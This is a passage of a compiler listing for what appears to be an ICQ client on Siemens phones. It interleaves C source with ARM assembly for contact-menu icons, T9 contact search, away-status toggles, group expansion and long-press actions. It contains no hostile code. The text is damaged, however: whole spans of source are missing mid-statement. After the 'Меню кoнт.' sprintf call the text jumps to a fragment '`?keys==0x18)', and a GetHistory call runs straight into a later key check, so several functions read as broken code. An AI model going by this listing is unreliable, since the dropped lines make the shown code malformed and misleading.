+R0, LSL #+2] \ 00000020 30FF2FE1 BLX R0 2712 } 2713 //if(msg->keys==LEFT_BUTTON) GeneralFuncF1(1); 2714 return(0); \ ??contact_keyhook_0: \ 00000024 0000A0E3 MOV R0,#+0 \ 00000028 0080BDE8 POP {PC} ;; return \ ??contact_keyhook_1: \ 0000002C ........ DC32 menuproc 2715 } 2716 \ In segment CODE, align 4, keep-with-next 2717 static void contacthandler(void *data, int curitem, void *unk) 2718 { \ contacthandler: \ 00000000 F0432DE9 PUSH {R4-R9,LR} 2719 WSHDR *ws; 2720 void *item=AllocMenuItem(data); 2721 extern const char percent_t[]; 2722 ws=AllocMenuWS(data,strlen(menutext[curitem])); \ 00000004 ........ LDR R8,??DataTable62 ;; `?` \ 00000008 0040A0E1 MOV R4,R0 \ 0000000C 0150A0E1 MOV R5,R1 \ 00000010 970100EF SWI +407 \ 00000014 0060A0E1 MOV R6,R0 \ 00000018 050188E0 ADD R0,R8,R5, LSL #+2 \ 0000001C 0C9090E5 LDR R9,[R0, #+12] \ 00000020 0900A0E1 MOV R0,R9 \ 00000024 1B0000EF SWI +27 \ 00000028 0010A0E1 MOV R1,R0 \ 0000002C 0400A0E1 MOV R0,R4 \ 00000030 980100EF SWI +408 2723 wsprintf(ws,percent_t,menutext[curitem]); \ 00000034 201088E2 ADD R1,R8,#+32 2724 CLIST *t; 2725 t=FindContactByUin(uinContact); \ 00000038 ........ LDR R8,??DataTable58 ;; icon_array \ 0000003C 0070A0E1 MOV R7,R0 \ 00000040 0920A0E1 MOV R2,R9 \ 00000044 240100EF SWI +292 \ 00000048 080098E5 LDR R0,[R8, #+8] \ 0000004C ........ _BLF FindContactByUin,??FindContactByUin??rA 2726 switch(curitem) \ 00000050 0510A0E1 MOV R1,R5 \ 00000054 040051E3 CMP R1,#+4 \ 00000058 1400008A BHI ??contacthandler_1 \ 0000005C 012F8FE2 ADR R2,??contacthandler_0 \ 00000060 0120D2E7 LDRB R2,[R2, R1] \ 00000064 02F18FE0 ADD PC,PC,R2, LSL #+2 \ ??contacthandler_0: \ 00000068 01030507 DC8 +1,+3,+5,+7 \ 0000006C 09000000 DC8 +9,+0,+0,+0 2727 { 2728 case 0: 2729 SetMenuItemIconArray(data,item,icon_array+(t->isvibra?0:1)); \ ??contacthandler_2: \ 00000070 5C0090E5 LDR R0,[R0, #+92] \ 00000074 060000EA B ??contacthandler_3 2730 break; 2731 case 1: 2732 SetMenuItemIconArray(data,item,icon_array+(t->issound?0:1)); \ ??contacthandler_4: \ 00000078 600090E5 LDR R0,[R0, #+96] \ 0000007C 040000EA B ??contacthandler_3 2733 break; 2734 case 2: 2735 SetMenuItemIconArray(data,item,icon_array+(t->isautomsg?0:1)); \ ??contacthandler_5: \ 00000080 640090E5 LDR R0,[R0, #+100] \ 00000084 020000EA B ??contacthandler_3 2736 break; 2737 case 3: 2738 SetMenuItemIconArray(data,item,icon_array+(t->isShowXst?0:1)); \ ??contacthandler_6: \ 00000088 700090E5 LDR R0,[R0, #+112] \ 0000008C 000000EA B ??contacthandler_3 2739 break; 2740 #ifdef kluchnik 2741 case 4: 2742 SetMenuItemIconArray(data,item,icon_array+(t->isautobot?0:1)); \ ??contacthandler_7: \ 00000090 680090E5 LDR R0,[R0, #+104] \ ??contacthandler_3: \ 00000094 0610A0E1 MOV R1,R6 \ 00000098 000050E3 CMP R0,#+0 \ 0000009C 0000A013 MOVNE R0,#+0 \ 000000A0 0100A003 MOVEQ R0,#+1 \ 000000A4 002188E0 ADD R2,R8,R0, LSL #+2 \ 000000A8 0400A0E1 MOV R0,R4 \ 000000AC 990100EF SWI +409 2743 break; 2744 #endif 2745 } 2746 SetMenuItemText(data, item, ws, curitem); \ ??contacthandler_1: \ 000000B0 0530A0E1 MOV R3,R5 \ 000000B4 0720A0E1 MOV R2,R7 \ 000000B8 0610A0E1 MOV R1,R6 \ 000000BC 0400A0E1 MOV R0,R4 \ 000000C0 9A0100EF SWI +410 2747 } \ 000000C4 F083BDE8 POP {R4-R9,PC} ;; return \ In segment DATA_Z, align 4, align-sorted \ icon_array: \ 00000000 DS8 8 \ 00000008 DS8 4 2748 2749 char cont_hdr[64]; \ cont_hdr: \ 0000000C DS8 64 2750 static const HEADER_DESC contact_list_HDR={0,0,NULL,NULL,NULL,(int)cont_hdr,LGP_NULL}; 2751 static const int _softkeys[] = {0,1,2}; 2752 2753 static const SOFTKEY_DESC _sk[] = 2754 { 2755 {0x0018, 0x0000, (int)"Выбрать"}, 2756 {0x0001, 0x0000, (int)LG_CLOSE}, 2757 {0x003D, 0x0000, (int)LGP_DOIT_PIC} 2758 }; 2759 2760 const SOFTKEYSTAB _skt = 2761 { 2762 _sk, 0 2763 }; 2764 static const MENU_DESC contact_list_MNU= 2765 { 2766 8,contact_keyhook,contact_list_ghook,NULL, 2767 _softkeys, 2768 &_skt, 2769 0x11, 2770 contacthandler, 2771 NULL, 2772 NULL, 2773 _MAX 2774 }; 2775 2776 \ In segment CODE, align 4, keep-with-next 2777 int CreateContactMenu(CLIST *t) 2778 { \ CreateContactMenu: \ 00000000 70402DE9 PUSH {R4-R6,LR} 2779 uinContact=t->uin; \ 00000004 ........ LDR R5,??DataTable58 ;; icon_array 2780 icon_array[0]=GetPicNByUnicodeSymbol(CBOX_CHECKED); 2781 icon_array[1]=GetPicNByUnicodeSymbol(CBOX_UNCHECKED); 2782 sprintf(cont_hdr,"Меню кoнт. %s",t->name); \ 00000008 74609FE5 LDR R6,??CreateContactMenu_0 ;; `?keys==0x18) \ 00000020 10009DE5 LDR R0,[SP, #+16] \ 00000024 F200D0E1 LDRSH R0,[R0, #+2] \ 00000028 180050E3 CMP R0,#+24 \ 0000002C 0100001A BNE ??contactlist_menu_onkey_1 2800 { 2801 ShowMainMenu(); \ 00000030 ........ _BLF ShowMainMenu,??ShowMainMenu??rA 2802 return(-1); \ 00000034 B50100EA B ??contactlist_menu_onkey_2 2803 } 2804 if (msg->keys==0x3D) \ ??contactlist_menu_onkey_1: \ 00000038 0860A0E3 MOV R6,#+8 \ 0000003C 906E86E3 ORR R6,R6,#0x900 \ 00000040 3D0050E3 CMP R0,#+61 \ 00000044 2100001A BNE ??contactlist_menu_onkey_3 2805 { 2806 if (t) \ 00000048 00005AE3 CMP R10,#+0 \ 0000004C AF01000A BEQ ??contactlist_menu_onkey_2 2807 { 2808 if (t->isgroup) \ 00000050 08009AE5 LDR R0,[R10, #+8] \ 00000054 000050E3 CMP R0,#+0 \ 00000058 0500000A BEQ ??contactlist_menu_onkey_4 2809 { 2810 t->state^=0xFFFF; \ 0000005C B405DAE1 LDRH R0,[R10, #+84] \ 00000060 FF10A0E3 MOV R1,#+255 \ 00000064 FF1C81E3 ORR R1,R1,#0xFF00 \ 00000068 000021E0 EOR R0,R1,R0 \ 0000006C B405CAE1 STRH R0,[R10, #+84] 2811 RecountMenu(t,1); \ 00000070 A30100EA B ??contactlist_menu_onkey_5 2812 return(-1); 2813 } 2814 if (strlen(ContactT9Key)) \ ??contactlist_menu_onkey_4: \ 00000074 050086E0 ADD R0,R6,R5 \ 00000078 1B0000EF SWI +27 \ 0000007C 000050E3 CMP R0,#+0 \ 00000080 0500000A BEQ ??contactlist_menu_onkey_6 2815 { 2816 ClearContactT9Key(); \ 00000084 2010A0E3 MOV R1,#+32 \ 00000088 050086E0 ADD R0,R6,R5 \ 0000008C 1D0100EF SWI +285 2817 RecountMenu(NULL,1); \ 00000090 0110A0E3 MOV R1,#+1 \ 00000094 0000A0E3 MOV R0,#+0 \ 00000098 ........ BL RecountMenu 2818 } 2819 if(!t->isactive && HISTORY_BUFFER) GetHistory(t, 64<keys==1) \ ??contactlist_menu_onkey_3: \ 000000D0 010050E3 CMP R0,#+1 \ 000000D4 0700001A BNE ??contactlist_menu_onkey_9 2825 { 2826 if (strlen(ContactT9Key)) \ 000000D8 050086E0 ADD R0,R6,R5 \ 000000DC 1B0000EF SWI +27 \ 000000E0 000050E3 CMP R0,#+0 \ 000000E4 0300000A BEQ ??contactlist_menu_onkey_9 2827 { 2828 BackSpaceContactT9(); \ 000000E8 ........ BL BackSpaceContactT9 2829 RecountMenu(NULL,1); \ 000000EC 0110A0E3 MOV R1,#+1 \ 000000F0 0000A0E3 MOV R0,#+0 \ 000000F4 840100EA B ??contactlist_menu_onkey_10 2830 return(-1); 2831 } 2832 } \ ??contactlist_menu_onkey_9: \ 000000F8 ........ LDR R7,??DataTable62 ;; `?` \ 000000FC 4420A0E3 MOV R2,#+68 \ 00000100 D51F87E2 ADD R1,R7,#+852 \ 00000104 0C108DE5 STR R1,[SP, #+12] \ 00000108 D81F87E2 ADD R1,R7,#+864 \ 0000010C 08108DE5 STR R1,[SP, #+8] \ 00000110 10009DE5 LDR R0,[SP, #+16] \ 00000114 882D82E3 ORR R2,R2,#0x2200 \ 00000118 040090E5 LDR R0,[R0, #+4] \ 0000011C 052082E0 ADD R2,R2,R5 \ 00000120 04208DE5 STR R2,[SP, #+4] \ 00000124 041090E5 LDR R1,[R0, #+4] \ 00000128 0140A0E3 MOV R4,#+1 \ 0000012C 9320A0E3 MOV R2,#+147 \ 00000130 402F82E3 ORR R2,R2,#0x100 \ 00000134 020051E1 CMP R1,R2 \ 00000138 C100001A BNE ??contactlist_menu_onkey_11 2833 if (msg->gbsmsg->msg==KEY_DOWN) 2834 { 2835 int key=msg->gbsmsg->submess; \ 0000013C 088090E5 LDR R8,[R0, #+8] 2836 if ((key>='0')&&(key<='9')) \ 00000140 300058E3 CMP R8,#+48 \ 00000144 080000BA BLT ??contactlist_menu_onkey_12 \ 00000148 3A0058E3 CMP R8,#+58 \ 0000014C 1F0000AA BGE ??contactlist_menu_onkey_13 2837 { 2838 AddContactT9Key(key); \ 00000150 0800A0E1 MOV R0,R8 \ 00000154 ........ BL AddContactT9Key 2839 RecountMenu(NULL,1); \ 00000158 0110A0E3 MOV R1,#+1 \ 0000015C 0900A0E1 MOV R0,R9 \ ??contactlist_menu_onkey_14: \ 00000160 ........ BL RecountMenu 2840 return(-1); \ 00000164 000064E2 RSB R0,R4,#+0 \ 00000168 690100EA B ??contactlist_menu_onkey_15 2841 } 2842 #ifdef ELKA 2843 if (key==VOL_UP_BUTTON && isVolUpButton) \ ??contactlist_menu_onkey_12: \ 0000016C 0D0058E3 CMP R8,#+13 \ 00000170 1600001A BNE ??contactlist_menu_onkey_13 \ 00000174 FC0095E5 LDR R0,[R5, #+252] \ 00000178 000050E3 CMP R0,#+0 \ 0000017C 1300000A BEQ ??contactlist_menu_onkey_13 2844 { 2845 char *small_info=malloc(256); \ 00000180 400FA0E3 MOV R0,#+256 \ 00000184 140000EF SWI +20 \ 00000188 00B0A0E1 MOV R11,R0 2846 sprintf(small_info, "Время в онлайн:\n" 2847 "%02d:%02d:%02d\n" 2848 "Сервер:\n%s" 2849 ,uptimeHour, uptimeMin, uptimeSec, hostbuf2); \ 0000018C 4400A0E3 MOV R0,#+68 \ 00000190 940D80E3 ORR R0,R0,#0x2500 \ 00000194 050080E0 ADD R0,R0,R5 \ 00000198 01002DE9 PUSH {R0} \ 0000019C A00295E5 LDR R0,[R5, #+672] \ 000001A0 A41087E2 ADD R1,R7,#+164 \ 000001A4 01002DE9 PUSH {R0} \ 000001A8 9C3295E5 LDR R3,[R5, #+668] \ 000001AC 982295E5 LDR R2,[R5, #+664] \ 000001B0 0B00A0E1 MOV R0,R11 \ 000001B4 160000EF SWI +22 2850 ShowMSG(1,(int)small_info); \ 000001B8 0B10A0E1 MOV R1,R11 \ 000001BC 0100A0E3 MOV R0,#+1 \ 000001C0 480100EF SWI +328 2851 mfree(small_info); \ 000001C4 0B00A0E1 MOV R0,R11 \ 000001C8 150000EF SWI +21 \ 000001CC 08D08DE2 ADD SP,SP,#+8 2852 } 2853 2854 if(msg->gbsmsg->submess==VOL_DOWN_BUTTON && isVolDownButton) \ ??contactlist_menu_onkey_13: \ 000001D0 10009DE5 LDR R0,[SP, #+16] \ 000001D4 040090E5 LDR R0,[R0, #+4] \ 000001D8 080090E5 LDR R0,[R0, #+8] \ 000001DC 0E0050E3 CMP R0,#+14 \ 000001E0 1200001A BNE ??contactlist_menu_onkey_16 \ 000001E4 000195E5 LDR R0,[R5, #+256] \ 000001E8 000050E3 CMP R0,#+0 \ 000001EC 0F00000A BEQ ??contactlist_menu_onkey_16 2855 { 2856 if(!away_m) \ 000001F0 840295E5 LDR R0,[R5, #+644] \ 000001F4 000050E3 CMP R0,#+0 \ 000001F8 0800001A BNE ??contactlist_menu_onkey_17 2857 { 2858 away_m=!away_m; \ 000001FC 844285E5 STR R4,[R5, #+644] 2859 GBS_StopTimer(&away_tmr); \ 00000200 04009DE5 LDR R0,[SP, #+4] \ 00000204 440100EF SWI +324 2860 msg_away_timer=AUTO_ENGADE; \ 00000208 140195E5 LDR R0,[R5, #+276] \ 0000020C 800285E5 STR R0,[R5, #+640] 2861 away_timer(); \ 00000210 ........ BL away_timer 2862 main_d=1; \ 00000214 2C4285E5 STR R4,[R5, #+556] 2863 InputAwayMsg(); \ 00000218 ........ BL InputAwayMsg \ 0000021C 010000EA B ??contactlist_menu_onkey_18 2864 } 2865 else 2866 { 2867 msg_away_timer=0; \ ??contactlist_menu_onkey_17: \ 00000220 809285E5 STR R9,[R5, #+640] 2868 away_m=!away_m; \ 00000224 849285E5 STR R9,[R5, #+644] 2869 } 2870 UpdateCLheader(); \ ??contactlist_menu_onkey_18: \ 00000228 ........ BL UpdateCLheader 2871 RefreshGUI(); \ 0000022C 960100EF SWI +406 2872 } 2873 #endif 2874 if (key==GREEN_BUTTON) \ ??contactlist_menu_onkey_16: \ 00000230 0B0058E3 CMP R8,#+11 \ 00000234 0A00001A BNE ??contactlist_menu_onkey_19 2875 { 2876 #ifdef kluchnik 2877 Show_XTX=!(Show_XTX); \ 00000238 900295E5 LDR R0,[R5, #+656] \ 0000023C 000050E3 CMP R0,#+0 \ 00000240 0040A013 MOVNE R4,#+0 \ 00000244 904285E5 STR R4,[R5, #+656] 2878 if(Show_XTX) \ 00000248 000054E3 CMP R4,#+0 2879 ShowMSG(1,(int)"Show x-status"); \ 0000024C 08109D15 LDRNE R1,[SP, #+8] 2880 else 2881 ShowMSG(1,(int)"Show time"); \ 00000250 0100A0E3 MOV R0,#+1 \ 00000254 0C109D05 LDREQ R1,[SP, #+12] \ 00000258 480100EF SWI +328 2882 UpdateCLheader(); \ 0000025C ........ BL UpdateCLheader 2883 #else 2884 IsActiveUp=!IsActiveUp; 2885 RecountMenu(NULL,1); 2886 #endif 2887 return(-1); \ 00000260 2A0100EA B ??contactlist_menu_onkey_2 2888 } 2889 if (key==LEFT_BUTTON) \ ??contactlist_menu_onkey_19: \ 00000264 3D0058E3 CMP R8,#+61 \ 00000268 1F00000A BEQ ??contactlist_menu_onkey_20 2890 { 2891 while(t=(CLIST *)(t->next)) 2892 { 2893 if (t->isunread) goto doit; 2894 } 2895 t=(CLIST *)(&cltop); 2896 while(t=(CLIST *)(t->next)) 2897 { 2898 if (t->isunread) goto doit; 2899 } 2900 if (t && Is_Show_Groups) {//???? ??????? ? ?????????? ??????? 2901 if (!t->isgroup) 2902 t=FindGroupByID(t->group); 2903 if (t && !t->state) {//?????? ??????? ? ??? ???????? 2904 t->state^=0xFFFF; 2905 goto does; 2906 } 2907 } 2908 doit: 2909 { 2910 CLIST *g=FindGroupByID(t->group); 2911 if (g) 2912 { 2913 if (g->state) 2914 { 2915 g->state=0; 2916 } 2917 } 2918 } 2919 does: 2920 RecountMenu(t,1); 2921 return(-1); 2922 } 2923 if (key=='*') \ 0000026C 2A0058E3 CMP R8,#+42 \ 00000270 3300000A BEQ ??contactlist_menu_onkey_21 2924 { 2925 while(t=(CLIST *)(t->next)) 2926 { 2927 if (t->just_now) goto doit3; 2928 } 2929 t=(CLIST *)(&cltop); 2930 while(t=(CLIST *)(t->next)) 2931 { 2932 if (t->just_now) goto doit3; 2933 } 2934 return(-1); 2935 doit3: 2936 { 2937 CLIST *g=FindGroupByID(t->group); 2938 if (g) 2939 { 2940 if (g->state) 2941 { 2942 g->state=0; 2943 } 2944 } 2945 } 2946 RecountMenu(t,1); 2947 return(-1); 2948 } 2949 2950 if (key=='#') \ 00000274 230058E3 CMP R8,#+35 \ 00000278 6200001A BNE ??contactlist_menu_onkey_22 2951 { 2952 if(ActionResh) \ 0000027C 940195E5 LDR R0,[R5, #+404] \ 00000280 000050E3 CMP R0,#+0 \ 00000284 3C00001A BNE ??contactlist_menu_onkey_23 2953 { 2954 while(t=(CLIST *)(t->next)) 2955 { 2956 if (t->isactive) goto doit4; 2957 } 2958 t=(CLIST *)(&cltop); 2959 while(t=(CLIST *)(t->next)) 2960 { 2961 if (t->isactive) goto doit4; 2962 } 2963 return(-1); 2964 doit4: 2965 { 2966 CLIST *g=FindGroupByID(t->group); 2967 if (g) 2968 { 2969 if (g->state) 2970 { 2971 g->state=0; 2972 } 2973 } 2974 } 2975 RecountMenu(t,1); 2976 } 2977 else 2978 { 2979 if(t->log && !(t->just_now)) \ 00000288 8C009AE5 LDR R0,[R10, #+140] \ 0000028C 000050E3 CMP R0,#+0 \ 00000290 0600000A BEQ ??contactlist_menu_onkey_24 \ 00000294 6C009AE5 LDR R0,[R10, #+108] \ 00000298 000050E3 CMP R0,#+0 \ 0000029C 0300001A BNE ??contactlist_menu_onkey_24 2980 { 2981 FreeLOGQ(&t->log); \ 000002A0 8C008AE2 ADD R0,R10,#+140 \ 000002A4 ........ BL FreeLOGQ 2982 t->msg_count=0; \ 000002A8 9C908AE5 STR R9,[R10, #+156] 2983 t->isactive=0; \ 000002AC 98908AE5 STR R9,[R10, #+152] 2984 } 2985 2986 if(t->just_now) \ ??contactlist_menu_onkey_24: \ 000002B0 6C009AE5 LDR R0,[R10, #+108] \ 000002B4 000050E3 CMP R0,#+0 \ 000002B8 0200000A BEQ ??contactlist_menu_onkey_25 2987 { 2988 CLIST *tt; 2989 tt=FindContactByUin(t->uin); 2990 tt->just_now=0; \ 000002BC 0C009AE5 LDR R0,[R10, #+12] \ 000002C0 ........ _BLF FindContactByUin,??FindContactByUin??rA \ 000002C4 6C9080E5 STR R9,[R0, #+108] 2991 } 2992 2993 if(t->uin==UIN) \ ??contactlist_menu_onkey_25: \ 000002C8 0C009AE5 LDR R0,[R10, #+12] \ 000002CC 701195E5 LDR R1,[R5, #+368] \ 000002D0 010050E1 CMP R0,R1 \ 000002D4 4100001A BNE ??contactlist_menu_onkey_26 2994 { 2995 CLIST *tt; 2996 tt=(CLIST *)(&cltop); \ 000002D8 C40F85E2 ADD R0,R5,#+784 \ 000002DC 3C0000EA B ??contactlist_menu_onkey_27 \ ??contactlist_menu_onkey_28: \ 000002E0 7C009AE5 LDR R0,[R10, #+124] \ 000002E4 000050E3 CMP R0,#+0 \ 000002E8 0900001A BNE ??contactlist_menu_onkey_29 \ ??contactlist_menu_onkey_20: \ 000002EC 00A09AE5 LDR R10,[R10, #+0] \ 000002F0 00005AE3 CMP R10,#+0 \ 000002F4 F9FFFF1A BNE ??contactlist_menu_onkey_28 \ 000002F8 C4AF85E2 ADD R10,R5,#+784 \ ??contactlist_menu_onkey_30: \ 000002FC 00A09AE5 LDR R10,[R10, #+0] \ 00000300 00005AE3 CMP R10,#+0 \ 00000304 0200000A BEQ ??contactlist_menu_onkey_29 \ 00000308 7C009AE5 LDR R0,[R10, #+124] \ 0000030C 000050E3 CMP R0,#+0 \ 00000310 F9FFFF0A BEQ ??contactlist_menu_onkey_30 \ ??contactlist_menu_onkey_29: \ 00000314 10009AE5 LDR R0,[R10, #+16] \ 00000318 ........ _BLF FindGroupByID,??FindGroupByID??rA \ 0000031C 000050E3 CMP R0,#+0 \ 00000320 B415D011 LDRHNE R1,[R0, #+84] \ 00000324 00005113 CMPNE R1,#+0 \ 00000328 B495C011 STRHNE R9,[R0, #+84] \ 0000032C 0110A0E3 MOV R1,#+1 \ 00000330 0A00A0E1 MOV R0,R10 \ 00000334 89FFFFEA B ??contactlist_menu_onkey_14 \ ??contactlist_menu_onkey_31: \ 00000338 6C009AE5 LDR R0,[R10, #+108] \ 0000033C 000050E3 CMP R0,#+0 \ 00000340 F3FFFF1A BNE ??contactlist_menu_onkey_29 \ ??contactlist_menu_onkey_21: \ 00000344 00A09AE5 LDR R10,[R10, #+0] \ 00000348 00005AE3 CMP R10,#+0 \ 0000034C F9FFFF1A BNE ??contactlist_menu_onkey_31 \ 00000350 C4AF85E2 ADD R10,R5,#+784 \ ??contactlist_menu_onkey_32: \ 00000354 00A09AE5 LDR R10,[R10, #+0] \ 00000358 00005AE3 CMP R10,#+0 \ 0000035C EB00000A BEQ ??contactlist_menu_onkey_2 \ 00000360 6C009AE5 LDR R0,[R10, #+108] \ 00000364 000050E3 CMP R0,#+0 \ 00000368 F9FFFF0A BEQ ??contactlist_menu_onkey_32 \ 0000036C E8FFFFEA B ??contactlist_menu_onkey_29 \ ??contactlist_menu_onkey_33: \ 00000370 98009AE5 LDR R0,[R10, #+152] \ 00000374 000050E3 CMP R0,#+0 \ 00000378 0900001A BNE ??contactlist_menu_onkey_34 \ ??contactlist_menu_onkey_23: \ 0000037C 00A09AE5 LDR R10,[R10, #+0] \ 00000380 00005AE3 CMP R10,#+0 \ 00000384 F9FFFF1A BNE ??contactlist_menu_onkey_33 \ 00000388 C4AF85E2 ADD R10,R5,#+784 \ ??contactlist_menu_onkey_35: \ 0000038C 00A09AE5 LDR R10,[R10, #+0] \ 00000390 00005AE3 CMP R10,#+0 \ 00000394 DD00000A BEQ ??contactlist_menu_onkey_2 \ 00000398 98009AE5 LDR R0,[R10, #+152] \ 0000039C 000050E3 CMP R0,#+0 \ 000003A0 F9FFFF0A BEQ ??contactlist_menu_onkey_35 \ ??contactlist_menu_onkey_34: \ 000003A4 10009AE5 LDR R0,[R10, #+16] \ 000003A8 ........ _BLF FindGroupByID,??FindGroupByID??rA \ 000003AC 000050E3 CMP R0,#+0 \ 000003B0 B415D011 LDRHNE R1,[R0, #+84] \ 000003B4 00005113 CMPNE R1,#+0 \ 000003B8 B495C011 STRHNE R9,[R0, #+84] \ 000003BC 0110A0E3 MOV R1,#+1 \ 000003C0 0A00A0E1 MOV R0,R10 \ ??contactlist_menu_onkey_36: \ 000003C4 D00000EA B ??contactlist_menu_onkey_10 2997 while(tt=(CLIST *)(tt->next)) 2998 { 2999 if(tt->just_now) tt->just_now=0; \ ??contactlist_menu_onkey_37: \ 000003C8 6C1090E5 LDR R1,[R0, #+108] \ 000003CC 000051E3 CMP R1,#+0 \ 000003D0 6C908015 STRNE R9,[R0, #+108] 3000 } \ ??contactlist_menu_onkey_27: \ 000003D4 000090E5 LDR R0,[R0, #+0] \ 000003D8 000050E3 CMP R0,#+0 \ 000003DC F9FFFF1A BNE ??contactlist_menu_onkey_37 3001 } 3002 3003 if(strlen(ContactT9Key)) \ ??contactlist_menu_onkey_26: \ 000003E0 050086E0 ADD R0,R6,R5 \ 000003E4 1B0000EF SWI +27 \ 000003E8 000050E3 CMP R0,#+0 \ 000003EC 0200000A BEQ ??contactlist_menu_onkey_38 3004 ClearContactT9Key(); \ 000003F0 2010A0E3 MOV R1,#+32 \ 000003F4 050086E0 ADD R0,R6,R5 \ 000003F8 1D0100EF SWI +285 3005 RecountMenu(NULL,0); \ ??contactlist_menu_onkey_38: \ 000003FC 0010A0E3 MOV R1,#+0 \ 00000400 0100A0E1 MOV R0,R1 \ 00000404 C00000EA B ??contactlist_menu_onkey_10 3006 } 3007 return(-1); 3008 } 3009 if (key==RIGHT_BUTTON) \ ??contactlist_menu_onkey_22: \ 00000408 3E0058E3 CMP R8,#+62 \ 0000040C 0C00001A BNE ??contactlist_menu_onkey_11 3010 { 3011 //Послать запрос текста XStatus 3012 if (t) \ 00000410 00005AE3 CMP R10,#+0 \ 00000414 0A00000A BEQ ??contactlist_menu_onkey_11 3013 { 3014 if (!t->isgroup) \ 00000418 08009AE5 LDR R0,[R10, #+8] \ 0000041C 000050E3 CMP R0,#+0 \ 00000420 0700001A BNE ??contactlist_menu_onkey_11 3015 { 3016 FreeXText(t); \ 00000424 0A00A0E1 MOV R0,R10 \ 00000428 ........ _BLF FreeXText,??FreeXText??rA 3017 t->req_xtext=0; \ 0000042C A8908AE5 STR R9,[R10, #+168] 3018 RequestXText(t->uin); \ 00000430 0C009AE5 LDR R0,[R10, #+12] \ 00000434 ........ BL RequestXText 3019 RefreshGUI(); \ 00000438 960100EF SWI +406 3020 return(-1); \ 0000043C 000064E2 RSB R0,R4,#+0 \ 00000440 B30000EA B ??contactlist_menu_onkey_15 3021 } 3022 } 3023 } 3024 /* 3025 if (key==0x19) 3026 { 3027 CreateScreenSelectGUI(); 3028 // GeneralFuncF1(1); 3029 return(-1); 3030 }*/ 3031 } 3032 if (msg->gbsmsg->msg==LONG_PRESS) \ ??contactlist_menu_onkey_11: \ 00000444 10009DE5 LDR R0,[SP, #+16] \ 00000448 652F84E3 ORR R2,R4,#0x194 \ 0000044C 040090E5 LDR R0,[R0, #+4] \ 00000450 041090E5 LDR R1,[R0, #+4] \ 00000454 020051E1 CMP R1,R2 \ 00000458 D200001A BNE ??contactlist_menu_onkey_39 3033 { 3034 if (msg->gbsmsg->submess=='#') \ 0000045C 081090E5 LDR R1,[R0, #+8] \ 00000460 0980A0E3 MOV R8,#+9 \ 00000464 428C88E3 ORR R8,R8,#0x4200 \ 00000468 B0B0A0E3 MOV R11,#+176 \ 0000046C DEBC8BE3 ORR R11,R11,#0xDE00 \ 00000470 230051E3 CMP R1,#+35 \ 00000474 1400001A BNE ??contactlist_menu_onkey_40 3035 { 3036 // if(isLongPressResh==1) 3037 // { 3038 ClearContactT9Key(); \ 00000478 2010A0E3 MOV R1,#+32 \ 0000047C 050086E0 ADD R0,R6,R5 \ 00000480 1D0100EF SWI +285 3039 RecountMenu(NULL,1); \ 00000484 0110A0E3 MOV R1,#+1 \ 00000488 0900A0E1 MOV R0,R9 \ 0000048C ........ BL RecountMenu 3040 gipc.name_to=ipc_xtask_name; \ 00000490 FA0F87E2 ADD R0,R7,#+1000 \ 00000494 BC0085E5 STR R0,[R5, #+188] 3041 gipc.name_from=ipc_my_name; \ 00000498 F20F87E2 ADD R0,R7,#+968 \ 0000049C C00085E5 STR R0,[R5, #+192] 3042 gipc.data=0; \ 000004A0 C49085E5 STR R9,[R5, #+196] 3043 GBS_SendMessage(MMI_CEPID,MSG_IPC,IPC_XTASK_IDLE,&gipc); \ 000004A4 BC3085E2 ADD R3,R5,#+188 \ 000004A8 0420A0E1 MOV R2,R4 \ 000004AC 0B10A0E1 MOV R1,R11 \ 000004B0 0800A0E1 MOV R0,R8 \ 000004B4 000100EF SWI +256 3044 if (IsUnlocked()) \ 000004B8 430000EF SWI +67 \ 000004BC 000050E3 CMP R0,#+0 \ 000004C0 9200000A BEQ ??contactlist_menu_onkey_2 3045 { 3046 KbdLock(); \ 000004C4 A90000EF SWI +169 \ 000004C8 900000EA B ??contactlist_menu_onkey_2 3047 } 3048 // } 3049 3050 // CreateScreenSelectGUI(); 3051 return(-1); 3052 } 3053 if (msg->gbsmsg->submess=='*') \ ??contactlist_menu_onkey_40: \ 000004CC 2A0051E3 CMP R1,#+42 \ 000004D0 1000001A BNE ??contactlist_menu_onkey_41 3054 { 3055 ClearContactT9Key(); \ 000004D4 2010A0E3 MOV R1,#+32 \ 000004D8 050086E0 ADD R0,R6,R5 \ 000004DC 1D0100EF SWI +285 3056 RecountMenu(NULL,1); \ 000004E0 0110A0E3 MOV R1,#+1 \ 000004E4 0900A0E1 MOV R0,R9 \ 000004E8 ........ BL RecountMenu 3057 silenthide=1; \ 000004EC B44285E5 STR R4,[R5, #+692] 3058 gipc.name_to=ipc_xtask_name; \ 000004F0 FA0F87E2 ADD R0,R7,#+1000 \ 000004F4 BC0085E5 STR R0,[R5, #+188] 3059 gipc.name_from=ipc_my_name; \ 000004F8 F20F87E2 ADD R0,R7,#+968 \ 000004FC C00085E5 STR R0,[R5, #+192] 3060 gipc.data=0; \ 00000500 C49085E5 STR R9,[R5, #+196] 3061 GBS_SendMessage(MMI_CEPID,MSG_IPC,IPC_XTASK_IDLE,&gipc); \ 00000504 BC3085E2 ADD R3,R5,#+188 \ 00000508 0420A0E1 MOV R2,R4 \ 0000050C 0B10A0E1 MOV R1,R11 \ 00000510 0800A0E1 MOV R0,R8 \ 00000514 000100EF SWI +256 3062 // DrawScreenSaver(); 3063 } 3064 3065 if (msg->gbsmsg->submess==RIGHT_BUTTON) \ ??contactlist_menu_onkey_41: \ 00000518 10009DE5 LDR R0,[SP, #+16] \ 0000051C 040090E5 LDR R0,[R0, #+4] \ 00000520 080090E5 LDR R0,[R0, #+8] \ 00000524 3E0050E3 CMP R0,#+62 \ 00000528 0100001A BNE ??contactlist_menu_onkey_42 3066 { 3067 CreateContactMenu(t); \ 0000052C 0A00A0E1 MOV R0,R10 \ 00000530 ........ BL CreateContactMenu 3068 } 3069 3070 //-------------------- LONG PRESS ACTION ON CL --------------------// 3071 3072 switch(msg->gbsmsg->submess) \ ??contactlist_menu_onkey_42: \ 00000534 10009DE5 LDR R0,[SP, #+16] \ 00000538 74829FE5 LDR R8,??contactlist_menu_onkey_43 ;; WriteDefSettings \ 0000053C 040090E5 LDR R0,[R0, #+4] \ 00000540 080090E5 LDR R0,[R0, #+8] \ 00000544 310040E2 SUB R0,R0,#+49 \ 00000548 080050E3 CMP R0,#+8 \ 0000054C 8700008A BHI ??contactlist_menu_onkey_44 \ 00000550 011F8FE2 ADR R1,??contactlist_menu_onkey_0 \ 00000554 0010D1E7 LDRB R1,[R1, R0] \ 00000558 01F18FE0 ADD PC,PC,R1, LSL #+2 \ ??contactlist_menu_onkey_0: \ 0000055C 020F1D29 